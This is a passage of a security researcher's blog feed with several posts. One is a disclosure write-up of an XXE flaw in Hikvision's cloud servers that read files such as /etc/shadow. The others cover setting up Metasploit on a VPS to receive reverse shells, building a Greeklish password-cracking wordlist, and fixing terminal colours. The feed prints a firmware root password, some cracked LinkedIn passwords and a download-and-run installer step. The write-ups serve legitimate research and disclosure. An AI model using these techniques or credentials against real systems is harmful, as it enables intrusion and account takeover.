href="http://s3-eu-west-1.amazonaws.com/elisalive-static">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7mtT7qacGWyhym7s8J7I1w.png" /><figcaption>GET request</figcaption></figure><h4><strong>(not)Getting Access to my Camera</strong></h4><p>A quick nmap scan showed a few open ports, including a web server with a login form. After trying a few default username/password combinations common for hikvision cameras, I quickly realised that I wasn’t going to go anywhere. The controller that accepts the credentials is protected with HTTP Digest Access Authentication, a unique feature of this firmware.</p><p>Playing around with the firmware using binwalk and <a href="https://github.com/aloz77/hiktools">hiktools</a>,I was able to extract some interesting information, but nothing regarding the Digest Authentication. Just for reference, the root password is <strong>hiklinux</strong>, these are the contents of the /etc/passwd file:</p><pre>root:ToCOv8qxP13qs:0:0:root:/root/:/bin/sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G6-3cRSDVVbqapmYPuQvAQ.png" /><figcaption>The passwd file</figcaption></figure><p>The SSH port was closed so I couldn’t take advantage of this. I have to note that on my very first portscan before updating the firmware ssh was open.</p><p>At this point I backtracked and tried explore other avenues.</p><h4><strong>Getting Access to your Camera</strong></h4><p>Going back to the first POST request we can see that it includes a base64 encoded string. Unfortunately it decodes to garbage, meaning that it’s probably symmetrically encrypted. The key has to be somewhere in the firmware, it’s just a matter of finding it. I didn’t verify if this password is used to authenticate the camera to the server, or if this is a password that is generated by the camera upon boot and submitted to Hikvision.</p><p>I have to admit that I was a bit discouraged with my progress. Over two days spent with little to show. I quickly browsed Hikvision’s website and found this:</p><blockquote>Send E-mail to <a href="/service/mailto:HSRC@hikvision.com">HSRC@hikvision.com</a> to report the security flaw you find and we will contact you as soon as possible. To protect information security for users and enterprise, please do not publish or spread the flaw. HSRC will reward the reporter according to the Hikvision Security Flaw Assessment.</blockquote><p>Cool, a bug bounty program. Let’s play around with the POST request.</p><p>As this is an XML post request, the first thing I tried was to see if we can request a local or external file with the SYSTEM entity. The local file method didn’t work, so I fired up a VPS and waited for incoming connections. It worked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iI3_REgtN0GSaOKXbqWB3A.png" /><figcaption>Testing for XXE</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDV3-UIimAOPrdWJlSG2kg.png" /><figcaption>We got a new friend</figcaption></figure><p>Things were starting to get interesting. Since we can use the SYSTEM entity to load external files, let’s try to pass a malicious DTD that will call back to our VPS with the contents of a file, say /etc/hosts.</p><p>A great tool that automates this procedure is <a href="https://github.com/enjoiz/XXEinjector">XXEinjector</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*REdRnnrzDSPa7Lvw37W5tg.png" /><figcaption>Retrieving the contents for /etc/hosts</figcaption></figure><p>Success. We can read arbitrary files on the server. But what permissions does the Tomcat server run with? We were able to get the contents of /etc/shadow, so root.</p><p>At this point I stopped and started the process of disclosing the findings to Hikvision. If I was a malicious attacker, I would probably continue by fully enumerating the 10 servers (The vulnerability existed in all geographically distributed API servers of hik-online.com). If getting the Tomcat database connection strings didn’t lead anywhere, there probably would be more things that one could look for like scripts that connect to other server with hardcoded credentials.</p><p>Ultimately, It wouldn’t be that difficult to get access to <a href="https://www.shodan.io/search?query=hikvision">more than 100k</a> cloud based cameras and DVRs.</p><p>The vulnerable servers are part of the backend system of <a href="http://www.hik-online.com/">http://www.hik-online.com/</a> , a service that Hikvision offers to access your PVRs and Cameras via the web.</p><h4><strong>Vendor communication timeline and bounty:</strong></h4><ul><li>25/8/16: Send first email to HSRC</li><li>30/8/16: No reply from HSRC, send a quick email to verify receipt</li><li>6/9/16: Send a new email including marketing and PR Hikvision contacts</li><li>7/9/16: HSRC acknowledged receipt and requested further info</li><li>8/9/16: Hikvision fixed the vulnerability and asked me to re-test it</li><li>25/9/16: Received my bounty by post. A 69$ cloud camera.</li><li>25/9/16: (╯°□°）╯︵ ┻━┻</li></ul><h4><strong>Takeaways</strong></h4><p>If you are accepting XML content, make sure you are not vulnerable to <a href="https://blog.bugcrowd.com/advice-from-a-researcher-xxe/">XXE</a>. Also make sure you use HTTPS for EVERYTHING, I cannot think of any reason to not do so.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d57faf99620f" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Installing metasploit on a cheap Debian VPS]]></title>
            <link>https://medium.com/@iraklis/sometimes-you-need-metasploit-running-on-a-box-with-a-public-ip-in-order-to-get-reverse-shells-to-74fda07165a5?source=rss-c16cb725d0c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/74fda07165a5</guid>
            <category><![CDATA[vps]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Sun, 04 Sep 2016 10:52:08 GMT</pubDate>
            <atom:updated>2017-03-23T09:55:03.587Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Update</strong>: If you want to install metasploit as <em>root</em>, run this quick script: <a href="https://github.com/iam1980/metasploit-vps-installer/blob/master/msf_root.sh">https://github.com/iam1980/metasploit-vps-installer/blob/master/msf_root.sh</a></p><p>Sometimes you need metasploit running on a box with a public IP in order to get incoming reverse shells. There are numerous guides out there on how to do it, most of them are outdated and do not work. It turns out that following part of the official documentation is all that you need (<a href="https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment">https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment</a>).</p><p>I’m creating this short post and associated bash script for my own reference. Including the VPS provisioning, it shouldn&#39;t take more than 10 minutes to have metasploit up and running.</p><h4>Step 1: Get a 512mb Debian (Jessie) VPS</h4><p>512mb RAM is more than enough. We are not going to install PostgreSQL or any other service on that box, so if you are planning on installing more daemons, get something with a little bit more memory.</p><h4>Step 2: Install required packages and add dedicated user</h4><p>Run the following commands as root</p><pre>adduser msfdev<br>adduser msfdev sudo<br>apt-get update<br>apt-get -y install autoconf bison build-essential curl git-core libapr1 libaprutil1 libcurl4-openssl-dev libgmp3-dev libpcap-dev libpq-dev libreadline6-dev libsqlite3-dev libssl-dev libsvn1 libtool libxml2 libxml2-dev libxslt-dev libyaml-dev locate ncurses-dev openssl wget xsel zlib1g zlib1g-dev</pre><h4>Step 3: As the msfdev user, download the metasploit installer script and execute it</h4><p>Note: If you want to inspect the script before executing it: <a href="https://github.com/iam1980/metasploit-vps-installer">https://github.com/iam1980/metasploit-vps-installer</a></p><pre>su - msfdev<br>wget https://raw.githubusercontent.com/iam1980/metasploit-vps-installer/master/msf_vps_installer.sh<br>bash msf_vps_installer.sh</pre><p>All done. You should have a working msfconsole on your VPS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1gIbFAqUeHawI0v3-VAN1Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74fda07165a5" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Creating a Greeklish wordlist for password cracking]]></title>
            <link>https://medium.com/@iraklis/creating-a-greeklish-wordlist-for-password-cracking-2ebd756a87a9?source=rss-c16cb725d0c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ebd756a87a9</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[wordlist]]></category>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[linkedin]]></category>
            <category><![CDATA[greek]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Sat, 23 Jul 2016 17:18:13 GMT</pubDate>
            <atom:updated>2016-07-23T17:18:13.912Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9iVj4zTeuSebpqZWNHrPA.png" /></figure><p>There are a number of very good quality wordlists out there. <a href="https://hashes.org/">https://hashes.org/</a>, for example, hosts a collection of real passwords leaked from well publicized hacks (LinkedIn, eHarmony, Last.fm, Yahoo, to name a few).</p><p>If you are working with a client that its customers are predominantly from a non-english speaking Country, <strong>chances are that the users will not use English words as a password with the same frequency as native English speakers do</strong>. Lets note here that this is just my assumption, I haven&#39;t seen a relevant study or analysis to prove this point.</p><p>To give an example, you wouldn&#39;t find in any English wordlists the word “κυνηγός” which translates to “hunter” in English.</p><p>Now there are a number of interesting points here.</p><ul><li>A user could use “κυνηγός” or “κυνηγος” (without Greek Stressing/Toning/Accentuation)</li><li>A user could use “kynhgos” or “kinigos” which are different greeklish variations of the word “κυνηγός”, a crude way of typing in the Greek language without using the Greek character set. This is also referred to as <a href="https://en.wikipedia.org/wiki/Romanization_of_Greek">Romanization </a>or transliteration.</li></ul><p>That leaves us with two main sets of wordlists. The UTF-8 with the Greek character set, and the Greeklish versions. <strong>This article focuses on the Greeklish versions.</strong></p><p>For the Greeklish set, things get a bit more complicated. People have different styles when writing in Greeklish. For example the word: “Ψυχή” (Soul) can be written in many styles, including:</p><ul><li>Psixi</li><li>Psihi</li><li>Psyxh</li><li>Psyhi</li></ul><p>The first step was to get a Greek dictionary. I used the one in the <a href="http://aspell.net/">aspell project</a></p><p>An easier way is to install the Greek dictionary and then dump the words to a text file:</p><pre>root@kali:~/# apt-get install aspell-el<br>root@kali:~/# aspell -d el dump master &gt; gr_utf8.txt</pre><p>By modifying <a href="https://www.g-loaded.eu/2006/12/18/pygr2gl-greek-to-greeklish-converter/">this python</a> script from George Notaras I ended up with a Greeklish wordlist that contained most of the different greeklish permutations. To give an example, the word “Ψυχή” (soul) is included in the following variations:</p><ul><li>psyxh</li><li>psixh</li><li>psixi</li></ul><p>You can download the greeklish wordlist here: <a href="https://github.com/iam1980/greeklish-wordlist/raw/master/gr_wordlist.txt">https://github.com/iam1980/greeklish-wordlist/raw/master/gr_wordlist.txt</a></p><p>Here are some LinkedIn passwords that were retrieved from the remaining 4.05% of the uncracked ones from <a href="https://hashes.org/">https://hashes.org</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tpH92D3qF11A7kEtETGoig.png" /></figure><p>I havent bothered submitting those to hashes.org so feel free. From the above, my favorite password has to be “kolopetsomeni”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ebd756a87a9" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Fixing dark blue colors on Windows 10 Ubuntu bash]]></title>
            <link>https://medium.com/@iraklis/fixing-dark-blue-colors-on-windows-10-ubuntu-bash-c6b009f8b97c?source=rss-c16cb725d0c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6b009f8b97c</guid>
            <category><![CDATA[bash]]></category>
            <category><![CDATA[colors]]></category>
            <category><![CDATA[windows-10]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Fri, 17 Jun 2016 16:20:57 GMT</pubDate>
            <atom:updated>2017-06-10T09:37:23.863Z</atom:updated>
            <content:encoded><![CDATA[<p>Since Windows 10 Insider Preview build 14316, Microsoft has included the Ubuntu subsystem, which gives you the fantastic ability to run a bash shell natively in Windows 10.</p><p>git, grep, awk on Windows is a bliss. By default (at least in my Dell XPS 13) some terminal colors like the directory and comments in vim are very dark, making them unreadable. The following screenshot illustrates the issue:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-aa6zWASmB84cwqzcJcGNg.png" /><figcaption>Terminal default colors</figcaption></figure><p>In order to fix this, we do exactly what we would have done if we were running Ubuntu natively. Edit .bashrc and export a different lighter color.</p><p>Here is the snippet that needs to be appended within your .bashrc:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/797295d7c6e84f2d36651c6aa67843fc/href">https://medium.com/media/797295d7c6e84f2d36651c6aa67843fc/href</a></iframe><p>Additionally I opted to change my prompt color and format with this:</p><pre>PS1=’\e[37;1m\u@\e[35m\W\e[0m\$ ‘</pre><p>For vim you also might want to type the following command in your terminal (unless you use a custom vim color profile):</p><pre>echo “set background=dark” &gt;&gt; .vimrc</pre><p>Here is the final result after the above changes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hJE-0bwyRDqk1nhYAn9khw.png" /></figure><p><strong>Bonus: Disable the annoying bell sound when hitting the backspace</strong></p><pre>echo “set bell-style none” &gt;&gt; .inputrc</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6b009f8b97c" width="1" height="1" alt="">]]></content:encoded>
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